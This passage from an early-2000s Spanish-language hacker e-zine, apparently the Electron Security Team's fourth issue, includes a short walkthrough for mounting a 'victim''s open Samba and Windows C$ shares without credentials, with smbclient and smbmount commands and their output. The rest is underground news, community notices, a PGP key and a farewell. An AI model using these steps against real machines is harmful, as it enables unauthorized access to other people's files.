   este u otro sistema operativo..).
   Si  encuentra  una  maquina  con al menos un puerto  abierto de la cual nmap
   le informe "sistema  operativo  desconocido", le  estaria  agradecido  si me
   enviase la direccion IP junto  con  el  nombre  del  sistema  operativo y el 
   numero de su version. Si no me puede enviar la direccion IP, una alternativa
   seria correr nmap con la opcion -d y enviarme las tres huellas que obtendria
   como resultado junto con el  nombre  del  sistema  operativo  y el numero de
   version. Al hacer esto, esta contribuyendo a aumentar  el  numero importante
   de sistemas operativos conocidos  por nmap  y  de  este   modo  el  programa
   resultara  mas  exacto  para  todo el mundo. es el kernel de nuestro sistema  
   operativo  el  que  hace  esto   por   nosotros). La ventaja   principal  de
   esta   tecnica   de   escaneo  es  que  sera  registrada  por  muchos  menos  
   servidores que la anterior. Por desgracia se necesitan  privilegios  de root
   para  construir estos paquetes SYN modificados.


    Bueno, como el resultado de esta busqueda fue positivo pasamos al sigueinte
    punto. Si esto no funca, no funca el resto del truco -IMHO-
        			 			      
 2) Si nuestra querida victima cumple con los requisitos, veremos si 
    tiene recursos compartidos:
    #smbclient -L victima -N

    Unknown parameter encountered: "allow"
    Ignoring unknown parameter "allow"
    Unknown parameter encountered: "deny host"
    Ignoring unknown parameter "deny host"
    Unknown parameter encountered: "interface"
    Ignoring unknown parameter "interface"
    added interface ip=MI-IP bcast=MI-BROADCAST nmask=MI-MARCARA
    Domain=[VICTIMA] OS=[Unix] Server=[Samba 2.0.6]

	Sharename      Type      Comment
	---------      ----      -------
	WEB    	       Disk      Directorio raiz de http://www.victima.net
	cd-rom         Disk      Directorio CD-ROM
	IPC$           IPC       IPC Service (Servidor Samba)

	Server               Comment
	---------            -------
	ALICIA               Alicia
	CLAUDIA              Claudia
	DAVID                David
	LINUX                Servidor Samba Linux
	NT                   Servidor Samba NT
	SERGIO               Sergio

	Workgroup            Master
	---------            -------
	WORKGROUP            VICTIMA

    
 3) Montando un recurso :) Lo mejor...
    #smbmount //victima/Escritorio /mnt/paso -oguest

    Unknown parameter encountered: "allow"
    Ignoring unknown parameter "allow"
    Unknown parameter encountered: "deny host"
    Ignoring unknown parameter "deny host"
    Unknown parameter encountered: "interface"
    Ignoring unknown parameter "interface"
 
 4) Verificando
    #df -h
    Filesystem            Size  Used Avail Use% Mounted on
    /dev/hda2             4.6G  2.1G  2.2G  48% /
    //victima/Escritorio  5.7G  3.2G  2.5G  57% /mnt/paso
    #l /mnt/paso 
    total 9
    drwxr-xr-x   1 root     root          512 Feb 21 16:16 ./
    drwxr-xr-x   4 root     root         4096 Feb 28 13:25 ../
    drwxr-xr-x   1 root     root          512 Feb 21 16:16 canasta/
    drwxr-xr-x   1 root     root          512 Dec 11 11:57 contenido/
    -rwxr-xr-x   1 root     root          582 Dec 11 12:04 index.html*
    drwxr-xr-x   1 root     root          512 Dec 11 11:57 left/
    drwxr-xr-x   1 root     root          512 Jan 12 10:47 script/
    drwxr-xr-x   1 root     root          512 Dec 11 11:59 titulos/
    drwxr-xr-x   1 root     root          512 Dec 11 11:59 top/
     

    Este truco lo use una vez en una empresa de seguridad informatica tu sabes
    _teofilo_, tambien lo  he  probado  con  maquinas  Windows  2000, montando
    directamente, sin que el recurso este compartido como tal:
    #smbmount //victima/C$ /mnt/paso 


=================================================================================
4>                            FEED BACK
 sientase libre de escribirme a <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >

                   
[=========================([ Electron Security Team ])===========================]





[====([ EST ])=============================================================EST-4=]
[====([ Avisos Varios ])=====================================================#19=]
[===============================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


* Recuerden que toda ayuda es bien recibida, quienes tengan textos, ideas, aportes
de algun tipo, pueden hacerlo llegar a traves de nuestro sitio web,o contactandose
directamente con nosotros via mail. La idea esque no solo  nosotros  estemos  todo
el tiempo  haciendolo  todo y aunque  hemos recibido buena colboracion se de mucha
gente hay afuera que tiene ganas de participar, es cosa de atreverse se~ores...

* Pueden participar tambien en nuestros sitio web, enviando noticias, comentarios,
participando de las encuestas y foros, escribiendo articulos, enviando nuevas
ideas, etc, etc...

* Cualquier duda o consulta que tengan, o si quieren hablar con  los  miembros de 
EST pueden conectarse al server de irc irc.terra.cl  al  canal #electron para asi 
poder hablar directamente con nosotros.


[=========================([ Electron Security Team ])===========================]




[====([ EST ])=============================================================EST-4=]
[====([ UnderNews ])=========================================================#20=]
[===============================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]

Proyecto del UnderGround Chileno
-===============================-
ZeroX escribio "Bueno...en estos momentos nos encontramos escogiendo el nombre
que llevara nuestro proyecto, pero esto no impedira  que  avancemos  en  otras
areas.

Este   post  persigue  el  objetivo  de  avanzar  en  otros  ambitos  que  son
importantes para lograr el exito este proyecto."

Enlace: http://www.est.cl/article.php?sid=177&mode=thread&order=0



Encuesta Para el Nuevo Nombre del Proyecto
-=========================================-
Envio de ZeroX Luego de ver las sugerencias que nos han enviado para el nombre
del proyecto hemos "pre-seleccionado" 12 de ellos, los cuales  hemos  incluido
en una encuesta para que de esta forma el  nombre  sea  seleccionado  por  una
mayoria. 

Enlace: http://www.est.cl/article.php?sid=176&mode=thread&order=0



El proyecto va de bien en mejor :) (Contribucion de filth) 
-========================================================-
"Buenas hace ya algunos post que hemos decidido formar una web  para  todo  el
"under" por denominarlo de  alguna  manera, pero  esto  es  distinto  notendra 
lideres ni nada por el estilo eso si keremos  decretar  algunos  regidores  de
foros, etc... la idea de esto es que funcionemos como una comunidad y no  como
solamente grupos aparte y con rencores y envidia... "

Enlace: http://www.est.cl/article.php?sid=175&mode=thread&order=0



CON RESPECTO AL FBI Y SU VIRUS (PARTE II)
-=======================================-
(contribucion de Toleran-C)  El  FBI  ultima  un   proyecto  para  espiar  las
comunicaciones en Internet usando virus. 

SAN FRANCISCO.- Las autoridades de los Estados Unidos  estan trabajando en  un
controvertido proyecto, conocido como Linterna Magica, que permite espiar  las
comunicaciones de Internet utilizando virus informaticos, segun han confirmado
portavoces de la Oficina Federal de Investigaciones (FBI). "

Enlace: http://www.est.cl/article.php?sid=174&mode=thread&order=0



Chile Team's Envidia, Orgullo, Rivalidad??? Somos de Chile?
-==========================================================-
ZeroX escribio "Este tomenlo como un llamado de  Paz  y  reflexion,  ante  los
problemas entre grupos de hacking... 

mirando los comentarios sobre la noticia  de  ZeroX ...  me  di cuenta  de  la
envidia y del poco sentido humanitario  que  tenemos  los  Chilenos...  Y  mas
encima que alguien de un Team fuera de Chile se  de  cuenta  de  la  rivalidad
entre nosotros... eso me parecio verdaderamente una verguenza  y creo  que  no
soy el unico en pensar lo mismo. "

Enlace: http://www.est.cl/article.php?sid=172&mode=thread&order=0



Redmond linux - Torturate con XP en tu Linux
-===========================================-
Un exempleado  de  Microsoft  lanza  nuevo  escritorio  basado  en  Linux,  el
escritorio es  muy parecido al escritorio  que podemos encontrar en Windows XP
ademas promete una alta velocidad y ejecucion de programas.

Enlace: http://todo-linux.com/article.php?sid=353&mode=thread&order=0



Crean parches para arreglar falla de seguridad en los Unix de IBM y Sun
-======================================================================-
BM anuncio que tenia un parche disponible para un problema  de  seguridad  que
podria permitir a intrusos informaticos tomar el  control  de las computadoras
que utilizan el sistema operativo AIX segun un articulo en CNN

Enlace: http://www.cnnenespanol.com/2001/tec/12/14/ibm.patch.reut/index.html



Microsoft deja visualizar el codigo fuente de su WindowsXP
-=========================================================-
Windows deja visualizar el codigo fuente de su WinXP, todo esto para demostrar
a las grandes empresas que sus productos  no  tienen  problemas  de  seguridad
aunque lo unico que puede pasar es que saquen mas fallos en sus sistemas...



Importante parche acumulativo para Internet Explorer
-==================================================-
Microsoft publica un parche acumulativo que tras su instalacion  elimina todas
las vulnerabilidades conocidas que afectan a IE 5.5 e IE 6.

Ademas de cubrir todos los problemas conocidos el nuevo parche tambien elimina
tres nuevas vulnerabilidades.

La primera de las nuevas vulnerabilidades, que solo afecta a Internet Explorer
6 reside en un fallo en el tratamiento de  los  campos  Content-Disposition  y
Content-Type de la cabecera HTML.   La  vulnerabilidad  existe  si el atacante
modifica la cabecera HTML de  forma  que  haga  creer  a  IE  que  un  archivo
ejecutable es un tipo de archivo diferente,  de  forma  que se pueda abrir sin
necesidad de necesitar la confirmacion del usuario.


Enlace: http://www.vnunet.es/detalle.asp?ids=/Noticias/Seguridad/Vulnerabilidades/20011217022



[=========================([ Electron Security Team ])===========================]




[====([ EST ])=============================================================EST-4=]
[====([ Llaves PGP ])========================================================#21=]
[===============================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 7.0.3 for non-commercial use 

mQGiBDwed0IRBADa/Fyu1hZCS3M7Um5Yl1Z0u9xxli5oLhG5IfrVoW9eBuNonxgn
TRC/Ha10SHITpxiHR/7pDf5s1M1oBpvGV9I5x6agPnER85WsThfRdsr/33FL09Qg
JRy1YRnJRJ5YRh+rr/z/erOzksRFFDn/2Y2JRMzLP62kvNsuGywpb7TH5wCg/3tF
x3PrRDisGRJlKX3mjt9pDSkD/i0/TSmwOSomBDvcwnDfUhSBjvw7uxDmh+jl7EAD
8sEz47s7hr7pQpx+4n2e72gHbDJMrnsSadi6kBr6tjLEuVHZuQgsjxyZ6u7MTxWo
/FxxaSd4kW9oOoHu+L+rByqP1KPFTnNTBZxc2cv/VXI3+3gqbaGMd0HYiK+jGU8I
ImkAA/4r8TrHYuglgfIJFGPCiEX9HmeJ56eNDsj3gxg82H53bmmsjiUXWJvHOS1I
DTbgnbjlOSejbKDPzYKoCzwnPNpqEoY4V2NYMgobPNlZoz0q49oZtyLV8nSPDnbl
epyTxVHOWkb8EeNMdEIo3Gggr09JWzoFUcmZtQ8BIyq7aIopbbQjRWxlY3Ryb24g
U2VjdXJpdHkgVGVhbSA8ZXN0QGVzdC5jbD6JAFgEEBECABgFAjwed0IICwMJCAcC
AQoCGQEFGwMAAAAACgkQDAW98QGykLgbhwCdHCckhs9CIFeJcVnjuFSBF7LewRgA
oPJH3T0TAr2l1XvEuSkl36sFhdoMuQINBDwed0IQCAD2Qle3CH8IF3KiutapQvMF
6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ
+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarT
W56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY72
88kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy
1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7
AAICCACDgKRWWQpqJLSKdJMPlJd5CEEQx434hNHA/DT3sSwdE1uBgotxTuBDzvoZ
pDk3Q0RYZ+RylQrsXvfVtGipA515MtPEX/yBiKeB61nVDb2phRnchh3Zioy5JFTu
I6hVUh65fQLkpAXGEJ/JnAIY4OCq+0zGPAreCDL2BqEAWJp7izFN4t7Nv6HLUddG
5Dqnp06lwfkp8RmcGCej0wwGJAU1mwaxvsJvkgGhpym2LrjU2fanWizeF9F5ZvQC
7yQiz6rHw+8RmP7lnzpwbTBRBX3bpSlBE0O3+wnObDLw2X1nZDiho9hMgrUtaJc/
2qsyIcUcQ07Ekpbf2BmKvp5TFBOBiQBMBBgRAgAMBQI8HndCBRsMAAAAAAoJEAwF
vfEBspC4MqoAmwbpxom0fAUK8MljDOHHwP5kzrSZAJ96c64OrM/fJgU7g7BbEbyw
k6aVXA==
=nyKD
-----END PGP PUBLIC KEY BLOCK-----


[=========================([ Electron Security Team ])===========================]




[====([ EST ])=============================================================EST-4=]
[====([ Despedida y Comentario Final ])======================================#22=]
[===============================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


 Lamentablemente esta  edicion llega a su fin, sin embargo  esperamos  que  la
hayan disfrutado y que haya sido de su agrado. Quisieramos agradecer a toda la
gente que nos colaboro en esta edicion, asi como a  la  gente  que  nos  ayudo
tanto con ideas como con criticas.  Esperamos  volver  a  encontrarnos en  una
quinta edicion, que aunque parezca dificil igual le seguiremos dando.

Nuestro sitio web seguira activo y desde alli seguiremos defendiendo  nuestros
derechos e ideales.  Pensamos  seguir  como  grupo, ezine  y  portal, asi pues
cualquier colaboracion, articulo, idea o critica no duden en enviarla anuestro
mail 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Por otro lado hemos visto como poco a poco se han ido  aprovechando  de  mejor
manera los  espacios  que  proporcionamos  en  nuestro  sitio  Web,  opinando,
discutiendo y comentando de una forma super amena, participativa y madura cada
uno  de  los  tema  que  han  salido... Esto  nos tiene   bastante   contentos
y esperamos que se siga dando con el tiempo una comunidad  interesada  por  el
desarrollo en comun Agradecemos sinceramente a la gente de Systat, Net-X, CDLR
y a toda esa gente que esta participando en forma seria y  responsable,  todos
se han portado bastante bien.

Esperamos sinceramente ver a nuestro Under unido y encausado en fines  comunes
que aboguen por el desarrollo de una sociedad mas tecnificada Quienes llevamos
tiempo sabemos que la idea de unir  a  nuestra  comunidad  siempre  ha  estado
latente pero jamas se ha podido concretar algo, tomemos  como  ejemplo  a  los
grandes grupo todos alguna ves antes de ser lo que son pasaron por periodos de
crisis, creemos estar lo  suficientemente  maduros  y  tener los conocimientos
necesarios como para hacer algo en grande. Deseamos que todos participen y que
nuestra mentalidad frente a los aportes de los demas sea constructiva,pensemos
siempre que podemos construir y colaborar, pensemos que podemos!

Saludos y nos vemos pronto.

Atte: Staff Electron Security Team


[=========================([ Electron Security Team ])===========================]
[================================================================================]